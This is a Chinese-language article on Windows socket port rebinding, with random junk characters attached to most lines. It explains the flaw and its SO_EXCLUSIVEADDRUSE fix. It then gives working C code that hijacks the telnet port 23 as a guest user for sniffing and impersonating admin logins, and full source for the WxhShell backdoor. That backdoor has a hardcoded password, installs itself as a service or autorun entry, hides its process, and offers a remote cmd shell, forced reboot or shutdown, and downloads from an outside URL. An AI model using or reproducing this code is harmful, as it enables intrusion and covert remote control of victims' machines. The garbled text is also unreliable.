在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
SseMTw: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
nA\9UD<G. iuX82z` saddr.sin_family = AF_INET;
1xJc[q l[2 d{r saddr.sin_addr.s_addr = htonl(INADDR_ANY);
U~mv1V^. ?`nF"u> bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
&tULSp@J xF+a.gAIb 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
O>E2G]K]\ \xH#X=J 这意味着什么?意味着可以进行如下的攻击:
A-GRuC \qrSJ=}t 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Y!kz0([ ohdWEU, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
EzDj,!!<w n: ~y] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$Yr'`(Cbc Uf`lGGM 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
.Z!!x Y=oj0(Q* 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
2o`a^'Iw M1MpR+7S 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
N
F[v/S OAc*W<Q0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
b[^=GF>e h SZ0 }/ #include
3&D;V;ON}_ #include
EBY=ccGE{ #include
<"uT=]wZ= #include
qIwI]ub~ DWORD WINAPI ClientThread(LPVOID lpParam);
?I` BbT} int main()
y&0&K4aa {
,KlTitJl\+ WORD wVersionRequested;
*-timVlaE DWORD ret;
wl{Fx+<^3 WSADATA wsaData;
p%A(5DE BOOL val;
.(Gq9m[~8H SOCKADDR_IN saddr;
`L(AvSR SOCKADDR_IN scaddr;
~-,P1u! int err;
ZDZPJp, SOCKET s;
-R,[/7zj SOCKET sc;
ZhKYoPIq int caddsize;
.,:700n+^ HANDLE mt;
j:%~: DWORD tid;
^;3z9}9 wVersionRequested = MAKEWORD( 2, 2 );
)*@Oz err = WSAStartup( wVersionRequested, &wsaData );
uc?QS~H&w if ( err != 0 ) {
f[n#Eu} printf("error!WSAStartup failed!\n");
X[8m76/V return -1;
Q{Gi**< }
.`!|^h%0 saddr.sin_family = AF_INET;
l1~>{:mq )-824?Nl: //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
oJK]oVX9i ]6{G;f$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
pR8]HNY0 saddr.sin_port = htons(23);
t;9f7~ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
tr2@{xb {
D"F5-s7 printf("error!socket failed!\n");
;m}lmq, return -1;
N}wi<P:*) }
\xk`o5/{ val = TRUE;
S @\Pki+n[ //SO_REUSEADDR选项就是可以实现端口重绑定的
M:c^[9)y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
\%9,<-~[ {
#.0^;M5Nh printf("error!setsockopt failed!\n");
z3b8 return -1;
'$~9~90?Z }
__""!Yz //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
65RWaz;| //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$Q1:>i@I|g //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Tn[DF9;? mq~7v1kw if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
w}<BO>
z {
JoA^9AYhR ret=GetLastError();
q>w@W:t Z printf("error!bind failed!\n");
K z !-w return -1;
6q?C"\_ }
\cvui^^n listen(s,2);
!z X`M1J while(1)
zbP0! {
NA[yT caddsize = sizeof(scaddr);
J0w[vrs&] //接受连接请求
cS,(HLO91 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
xfqgK D> if(sc!=INVALID_SOCKET)
m.-l&@I2/< {
*G$tfb( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
GAbX.9[V if(mt==NULL)
VB*$lxX {
b mZRCvW>A printf("Thread Creat Failed!\n");
0R<@* break;
di`Ql._M }
t/HMJ }
{hK$6bD3^ CloseHandle(mt);
|)i-c`x }
?stx3sZ closesocket(s);
V;ZyAp WSACleanup();
^x%yIS return 0;
W'rft@J$ }
^~|P[} DWORD WINAPI ClientThread(LPVOID lpParam)
<r.f ?chf {
"m ):" SOCKET ss = (SOCKET)lpParam;
ow]S 3[07 SOCKET sc;
e-H:;m5R unsigned char buf[4096];
+bI &0` SOCKADDR_IN saddr;
eI8^T? long num;
jE2k\\<a DWORD val;
-MJ6~4k2 DWORD ret;
F4>}mIA //如果是隐藏端口应用的话,可以在此处加一些判断
wqyx{W`~w //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
%I;ej{*c saddr.sin_family = AF_INET;
{ ;);E saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
fXvJ3w( saddr.sin_port = htons(23);
C78YHjy if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Yn[y9;I{ {
.
[+ObF9= printf("error!socket failed!\n");
gCz^JM return -1;
d"uR1rTk }
IfeG"ua| val = 100;
-4Zf0r1u if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_;W}_p}q{ {
C0zE<fl ret = GetLastError();
h"Yi' return -1;
j\f;zb?F }
Fl]$ql
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ik_Ll| {
6gY5v@!w ret = GetLastError();
*bDuRr?v9 return -1;
8#2PJHl; }
DoX#+
07u4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
%A`f>v.7 c {
pY!@w0. printf("error!socket connect failed!\n");
~0>g 4
D. closesocket(sc);
Xgn^)+V: closesocket(ss);
\A*#a9" return -1;
ueDG1) }
fxXZ^#2wX while(1)
6Y)'p
.+g {
]}i_Nq W) //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Jj*XnL* //如果是嗅探内容的话,可以再此处进行内容分析和记录
{jcrTjmxe //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
2Prr:k
num = recv(ss,buf,4096,0);
4(& W>E if(num>0)
&sh
%]o8 send(sc,buf,num,0);
c>:}~.~T else if(num==0)
yDWzsA/X break;
!F/;WjHz num = recv(sc,buf,4096,0);
~ULuX"n if(num>0)
K:c5Yq^ send(ss,buf,num,0);
:@KWp{ D7 else if(num==0)
_S{HVc break;
Pan^@B=Q }
4M*UVdJ; closesocket(ss);
;3h[=hyS closesocket(sc);
I?lQN$A.E return 0 ;
R,x\VX!| }
s7tNAj bgD I5wf|wB- _]E"hr6a ==========================================================
cT`x,2 J~V`"uo 下边附上一个代码,,WXhSHELL
|#^u%#'[2 -d[9mS ==========================================================
/~{8/u3 T12?'JL^r #include "stdafx.h"
>7!4o9)c _FeLSk. #include <stdio.h>
Q6Vy} #include <string.h>
X<Rh-1$8F #include <windows.h>
,v4Z[ ( #include <winsock2.h>
B#&U5fSw+0 #include <winsvc.h>
8b8ui #include <urlmon.h>
eG72=l)Mz 8wp)aGTcU #pragma comment (lib, "Ws2_32.lib")
f]^(|*6 #pragma comment (lib, "urlmon.lib")
lj/?P9 cR[)[9} #define MAX_USER 100 // 最大客户端连接数
O(!J^J3_z #define BUF_SOCK 200 // sock buffer
-_[n2\|we) #define KEY_BUFF 255 // 输入 buffer
5JK{dis]k >:4}OylhM #define REBOOT 0 // 重启
12gcma} #define SHUTDOWN 1 // 关机
BEPeK yBXdj`bV #define DEF_PORT 5000 // 监听端口
AFGWlC#` sw6]Bc #define REG_LEN 16 // 注册表键长度
]sE~gro #define SVC_LEN 80 // NT服务名长度
yw41/jHF x$QOOE] // 从dll定义API
=>-:o:Cu{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+yiGZV/X typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
o/@.*Rj>Bg typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
eLJW typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
C|5eV=f)P sn
'#]yM // wxhshell配置信息
GM%%7 ^uE struct WSCFG {
u3(zixb int ws_port; // 监听端口
(s4w0z char ws_passstr[REG_LEN]; // 口令
*.K+"WS% int ws_autoins; // 安装标记, 1=yes 0=no
*>h"}e41 char ws_regname[REG_LEN]; // 注册表键名
{1li3K&0s char ws_svcname[REG_LEN]; // 服务名
|G&<@8O char ws_svcdisp[SVC_LEN]; // 服务显示名
x* *]@v"g char ws_svcdesc[SVC_LEN]; // 服务描述信息
biKom|<nm char ws_passmsg[SVC_LEN]; // 密码输入提示信息
xgn@1.}G int ws_downexe; // 下载执行标记, 1=yes 0=no
5"%r,GM U char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
d@#!,P5` char ws_filenam[SVC_LEN]; // 下载后保存的文件名
}]$%aMxy T `*mctjSN };
w&jyijk( sXDS_Q // default Wxhshell configuration
9G_bM(q'^2 struct WSCFG wscfg={DEF_PORT,
Ch%W
C, "xuhuanlingzhe",
oXRmnt 1,
3?iRf6;n "Wxhshell",
[tGAo/ "Wxhshell",
f=]+\0MQ "WxhShell Service",
/)sA{q
4 "Wrsky Windows CmdShell Service",
CMB:% "Please Input Your Password: ",
VC5LxA0{ 1,
_eb:"(m "
http://www.wrsky.com/wxhshell.exe",
28[hp[< "Wxhshell.exe"
,l^; ZE };
|=L~>G kW0|\ // 消息定义模块
{G&*\5W char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
bRT1~) char *msg_ws_prompt="\n\r? for help\n\r#>";
:@x24wN/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
u>o<ua
p char *msg_ws_ext="\n\rExit.";
T;K@3]FbX char *msg_ws_end="\n\rQuit.";
R_ymTB}<t( char *msg_ws_boot="\n\rReboot...";
'Vq
<;.A char *msg_ws_poff="\n\rShutdown...";
#Jp_y| char *msg_ws_down="\n\rSave to ";
f1w&D ]|S+ ;U=IbK* char *msg_ws_err="\n\rErr!";
1)yEx1 char *msg_ws_ok="\n\rOK!";
1Q"w)Ta
dZcRLLR char ExeFile[MAX_PATH];
&?UIe] int nUser = 0;
.l5y+a' HANDLE handles[MAX_USER];
soh)IfZ int OsIsNt;
qPqpRi {:BAh5e| SERVICE_STATUS serviceStatus;
y|X</3w SERVICE_STATUS_HANDLE hServiceStatusHandle;
Z-X(.Q E0; }e
// 函数声明
h&@A'om~ int Install(void);
QY2/mtI int Uninstall(void);
h6J0b_3h4 int DownloadFile(char *sURL, SOCKET wsh);
lZ]x #v int Boot(int flag);
~Sy/q]4ys* void HideProc(void);
C".nB12 int GetOsVer(void);
Xi"+{6
int Wxhshell(SOCKET wsl);
K8`Jl=}z%& void TalkWithClient(void *cs);
vF
yl,S5A int CmdShell(SOCKET sock);
XTboFrf int StartFromService(void);
r9nH6 Md\ int StartWxhshell(LPSTR lpCmdLine);
!bs{/? \yt-_W=[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
jZwv!-: VOID WINAPI NTServiceHandler( DWORD fdwControl );
D>Ij z }?*1c // 数据结构和表定义
pT3p!/pl3 SERVICE_TABLE_ENTRY DispatchTable[] =
LpRl!\FY$ {
1eQfc{[g {wscfg.ws_svcname, NTServiceMain},
uP|Py.+ {NULL, NULL}
6&,n\EXF };
ZqT8G 8 KDF*%7' // 自我安装
eh4` a<gC int Install(void)
pc9m,?n {
}U <T>0 char svExeFile[MAX_PATH];
2stBW5v3 HKEY key;
`| nC r strcpy(svExeFile,ExeFile);
U~9Y9qzy, g-G;8x'n // 如果是win9x系统,修改注册表设为自启动
aC$-riP,?' if(!OsIsNt) {
kpF")0qr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
a^:on?:9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Ek' ~i RegCloseKey(key);
vbFi#|EU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
YY{0WWua RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^eF%4DUC; RegCloseKey(key);
$y%X#:eLJ return 0;
Vo1,{"k }
RP!!6A6: }
JSXJlau }
cV;<!f+ else {
Ih Yso7g hA?Flq2QV // 如果是NT以上系统,安装为系统服务
6t zUp/O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
(RXOv"''= if (schSCManager!=0)
5(9SIj^O {
qKt*<KGeY SC_HANDLE schService = CreateService
U%.%:'eV= (
O_v8R7 { schSCManager,
rE->z wscfg.ws_svcname,
]o!rK< wscfg.ws_svcdisp,
[w*t(A SERVICE_ALL_ACCESS,
o7:~C] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
=1|^) 4M,x SERVICE_AUTO_START,
F!k3/z SERVICE_ERROR_NORMAL,
R_DstpsT svExeFile,
B=ckRWq NULL,
cd&^ vQL8 NULL,
u& 4i=K'x8 NULL,
4n9".UHh NULL,
Fx@ovI- 5 NULL
0f_+h %%= );
]VKM3[ if (schService!=0)
mB\)Q J.% {
>Bw<THx CloseServiceHandle(schService);
dnwTD\), CloseServiceHandle(schSCManager);
ul@swp strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
0 _n
Pq strcat(svExeFile,wscfg.ws_svcname);
W?>C$_p C if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
)a7nr<)aU RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
XBr-UjQ RegCloseKey(key);
@V\u<n return 0;
9V'ok.B.x }
thU9s%,
}
4Eri]O Ri CloseServiceHandle(schSCManager);
4 ZUTF3 }
$q$G }
*jf%Wj)0M .S_7R/2(? return 1;
u?Uu>9@Z }
|#b]e|aP Yy 8?X9r. // 自我卸载
!=3Ce3- int Uninstall(void)
a 23XrX {
2FVO@D HKEY key;
'+s ?\X4VC L*8U.{NY if(!OsIsNt) {
;],Js1m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
j&N {j_M RegDeleteValue(key,wscfg.ws_regname);
"*bP @W RegCloseKey(key);
<G_71J`MLC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5r` x\ RegDeleteValue(key,wscfg.ws_regname);
Ql1J?9W RegCloseKey(key);
eY V Jk7 return 0;
^$AJV%3wI }
!jTxMf
}
?8/T#ox }
<\'aUfF v else {
'lMDlTU O W]oILL"d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
1KadT7<0} if (schSCManager!=0)
LTTMxiq[* {
Djr/!j SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
tuslkOE# if (schService!=0)
zN&m-nrw {
=x@v{cP if(DeleteService(schService)!=0) {
0O!A8FA0 CloseServiceHandle(schService);
vNQ|tmn CloseServiceHandle(schSCManager);
3De(:c)@ return 0;
6n:oEXM> }
H1d2WNr[ CloseServiceHandle(schService);
_oE 7< }
=lmelo#m& CloseServiceHandle(schSCManager);
:I2spBx }
+[`
)t/ }
jfU$qo!gi ~hb;kc3 return 1;
wD92Ava
}
+,zV
[\ 7?ILmYBw // 从指定url下载文件
?P;=_~X int DownloadFile(char *sURL, SOCKET wsh)
N *,[(q {
zmhAeblA HRESULT hr;
[
e#[j{ char seps[]= "/";
AHzm9U @ char *token;
o0_H(j? char *file;
u/apnAW@M char myURL[MAX_PATH];
zHD8\* char myFILE[MAX_PATH];
`0`#Uf_/$ (@NW2 strcpy(myURL,sURL);
`-g$
0lm7 token=strtok(myURL,seps);
EY@KWs3"H while(token!=NULL)
7[1VFc#tf {
;!j/t3#a file=token;
EX@Cf!GjN token=strtok(NULL,seps);
NNBT.k3) }
y*E{X } x
KvN GetCurrentDirectory(MAX_PATH,myFILE);
w{riXOjS4 strcat(myFILE, "\\");
USJ4Z strcat(myFILE, file);
W~5gTiBZ] send(wsh,myFILE,strlen(myFILE),0);
ab[V->>% send(wsh,"...",3,0);
s$~H{za hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
`)NTJc$): if(hr==S_OK)
CdKs+x&tZ return 0;
OKA6S* else
I5E5,{ return 1;
:4)lmIu Li+|%a }
i "aQm .uB[zJc // 系统电源模块
C't%e int Boot(int flag)
6n/KL {
CVZ4:p HANDLE hToken;
7
6HB@'xY TOKEN_PRIVILEGES tkp;
!iAZEOkRR = gcZ RoL if(OsIsNt) {
F.D6O[pZ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
}OSf C~5P LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
b/4gs62{k tkp.PrivilegeCount = 1;
N6v*X+4JH tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
y2PxC. - AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
xR;z!Tg) if(flag==REBOOT) {
)>]SJQ!k if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
@h5 Q?I return 0;
m|[cEZxHB }
}mS
Q!"f: else {
ltHuN;C\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
D"K!ELGW return 0;
u@aM8Na }
.:/X~{ }
~]BR(n else {
)+.AgqxI if(flag==REBOOT) {
"WqM<kLa if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
)5TX3#=;(G return 0;
(A;HB@)[A }
mG%cE(j*D else {
1(kd3qX if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Y5TBWcGU% return 0;
E8o9ufj3 }
Xg;q\GS/<i }
z]sQ3"cmX AI .2os* return 1;
r?x~`C }
lb]k"L%KU7 d%Ku'Jy // win9x进程隐藏模块
'IER9%V$ void HideProc(void)
QEEX|WM {
7.C]ZcU %;` 3I$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
XB%`5wwd if ( hKernel != NULL )
gKb5W094@ {
h#8{fr)6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
2aQ}|
` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
[oH,FSuO!2 FreeLibrary(hKernel);
SHCVjI6 }
.sUL5` yAc}4*;T/ return;
<7X+-%yb; }
tQ4{:WPG P+3)YO1C // 获取操作系统版本
{K2F(kz?T int GetOsVer(void)
$Vm J[EF1 {
}Z\+Qc<< OSVERSIONINFO winfo;
O0"&wvR+5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
yDw^xGws GetVersionEx(&winfo);
m<22E0=g if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
u"a$/ return 1;
dnTXx*I: else
^F1zkIE return 0;
M,UYDZ', }
0 .p $q [h2V9>4: // 客户端句柄模块
RrqZ5Gonj int Wxhshell(SOCKET wsl)
?|Mmz@ {
L:EJ+bNG SOCKET wsh;
8%#uZG\} struct sockaddr_in client;
QfM*K.7Sl DWORD myID;
("BFI XC{(O:EG while(nUser<MAX_USER)
<`m.Vbvm" {
7f
td2lv int nSize=sizeof(client);
j|WaWnl= wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
*)d|:q3 if(wsh==INVALID_SOCKET) return 1;
2jx+q 9~mi[l~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
w02HSQ if(handles[nUser]==0)
Y<.F/iaH closesocket(wsh);
XT_BiZ%l5O else
&f qmO>M nUser++;
YKvFZH) }
I_ .;nU1xA WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
"WYcw\@U 5tl}rmI` return 0;
Fk(0q/b }
z_l3=7R [l5"'{x // 关闭 socket
?\F ,}e void CloseIt(SOCKET wsh)
l7J_s?!j {
pN]Hp"v closesocket(wsh);
)x|BY> nUser--;
|:r/K ExitThread(0);
|I+E`,n"b }
y!!+IeReS e?lqs,m@" // 客户端请求句柄
<p0$Q!^dK= void TalkWithClient(void *cs)
5\Y/s o= {
0_D~n0rq,v ,n!xzoX_ SOCKET wsh=(SOCKET)cs;
#-HN[U?Gs char pwd[SVC_LEN];
=\%>O7c,8Y char cmd[KEY_BUFF];
iK%Rq char chr[1];
X0Oq lAw int i,j;
)Y&De)= EJtU(HmW while (nUser < MAX_USER) {
Z#MODf0H@ 'HcDl@E if(wscfg.ws_passstr) {
5!ReW39c; if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Eq<#pX6 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
56_KB.Ww~ //ZeroMemory(pwd,KEY_BUFF);
Yg]f2ke i=0;
)#ujF~w> while(i<SVC_LEN) {
WNYLQ=; }C&c=3V // 设置超时
8rpN2M3h fd_set FdRead;
Xp?Z;$r$ struct timeval TimeOut;
a@jP^VVk FD_ZERO(&FdRead);
49zp@a FD_SET(wsh,&FdRead);
}\*Sf[EMD TimeOut.tv_sec=8;
dw4)4_ TimeOut.tv_usec=0;
+tN-X'u## int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
uATBt if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
*-Yw0Y[E .yP
3}Nl if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
_5LlL#) pwd
=chr[0]; G\NCEE'A
if(chr[0]==0xd || chr[0]==0xa) { +Ae.>%}
pwd=0; >SGSn/AJi
break; y14@9<~9
} pq&c]8H
i++; _INUJc
} r#}Sy\
uU\iji\
// 如果是非法用户,关闭 socket T?ZMmUE
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6e*b;{d
} /(0d{
DJW1kR
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I.<#t(io
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;hZ@C!S:
5nn*)vK {
while(1) { Bm7GU`j"
-?'CUm*Od
ZeroMemory(cmd,KEY_BUFF); "}EbA3
3U`.:w`
// 自动支持客户端 telnet标准 `3:%F>
j=0; k1H0hDE
while(j<KEY_BUFF) { C/Z"W@7#;
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TatyD**(
cmd[j]=chr[0]; }00e@a
if(chr[0]==0xa || chr[0]==0xd) { awK'XFk
cmd[j]=0; ~Iu09t|a
break; D/Wuan?yPN
} z,7^dlT
j++; o%5bg(
} uSQ*/h-<)0
s?E: ]
// 下载文件 ~z}au"k
if(strstr(cmd,"http://")) { !T{g& f
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z%R%D*f@y
if(DownloadFile(cmd,wsh)) <<1oc{i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YC_^jRB8n
else ^hgAgP{{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _YS+{0
Vq%
} D.6dPzu`
else { xVyUUzXs
|<*(`\'w
switch(cmd[0]) { A!kyga6F5
Mt Z(\&~
// 帮助 QBy*y $
case '?': { D=>^m=?0
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +;Gl>$
break; ~e+w@ lK
} 4Dia#1$:J
// 安装 }BrE|'.j'
case 'i': { gNd
J=r4
if(Install()) YeLOd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sv@p!-m
else h'x~"k1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v1=X =H
break; hI8C XG
} g4X,*H
// 卸载 #U}U>4'
case 'r': { d/>,U7eS[+
if(Uninstall()) ?Q3~n ^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J":9
else $rEd5W&d!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wjJ1Psnx
break; (O2HB-<rY
} SEIu4
l$E
// 显示 wxhshell 所在路径 tl5IwrF6;
case 'p': { '[8b0\
char svExeFile[MAX_PATH]; :gq@/COo(
strcpy(svExeFile,"\n\r"); yp^* TD/J
strcat(svExeFile,ExeFile); *"\Q ~#W
send(wsh,svExeFile,strlen(svExeFile),0); m[j3s=Gr
break; Z5L1^
} ELF`uWGE
// 重启 bl?%:qb.V
case 'b': { WtfOE@h
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /AW>5r]
if(Boot(REBOOT)) Ib8i#D V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }GDG$QI]K&
else { !nq\x8nU
closesocket(wsh); 0Zh
_Q
ExitThread(0); 8M9\<k6
} ^&H=dYcV>/
break; A'1AU:d
} R?~h7 d
// 关机 Z3>xpw G
case 'd': { [B3aRi0AQ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BpG'e-2
if(Boot(SHUTDOWN)) FT>~ES]cQd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aX)./
else { JvL'gJ$70
closesocket(wsh); XFTMT'9
ExitThread(0); vGwD~R
} ;Ph )BY<
break; Lu 39eO6
} \%Rta$O?S
// 获取shell V )k, 9=
case 's': { y32++b!
CmdShell(wsh); MW~B[%/
closesocket(wsh); 9[{>JRm.
ExitThread(0); `L#?eQ{
break; .Pes{uHg
} oz6+rM6MY
// 退出 i: M*L< +
case 'x': { .00=U;H%`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ja v2A6a
CloseIt(wsh); RIEv*2_O
break; 1bZiPG{
} |cGeL[
// 离开 Au} ;z6k
case 'q': { ^;$a_$|
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]Y&)98
closesocket(wsh); |;9 A{#zM
WSACleanup(); !u{"] T:
exit(1); Z/kaRnG[@t
break; p_qm}zp
} :LiDJF
} Z3So|M{v
} xY'qm8V
CEuk1$
// 提示信息 M:Y*Tb6w
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R:OU>HsdX
} } .3]
} QrckTO
`XSc >
return; xGEmrE<;
} /;NE]{K
]vQ?]d?>a
// shell模块句柄 EKeh>3;?
int CmdShell(SOCKET sock) `X<`j6zaG
{ [s{r$!Gl
STARTUPINFO si; Y3$PQwn
.P
ZeroMemory(&si,sizeof(si)); "Z 2Tc)
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vdT+,x`
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rw}2* 5#y
PROCESS_INFORMATION ProcessInfo; *e3L4 7"G
char cmdline[]="cmd"; g"]<J&
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n!ZP?]FR
return 0; uOl(-Zq@
} 0L0Jc,(F+
3Wb2p'V7$?
// 自身启动模式 +*_fN ]M
int StartFromService(void) )'!ml
{ kV\-%:-
typedef struct Ue3B+k9w
{ }kCn@
DWORD ExitStatus; qTTn51
DWORD PebBaseAddress; 9R@abm,I
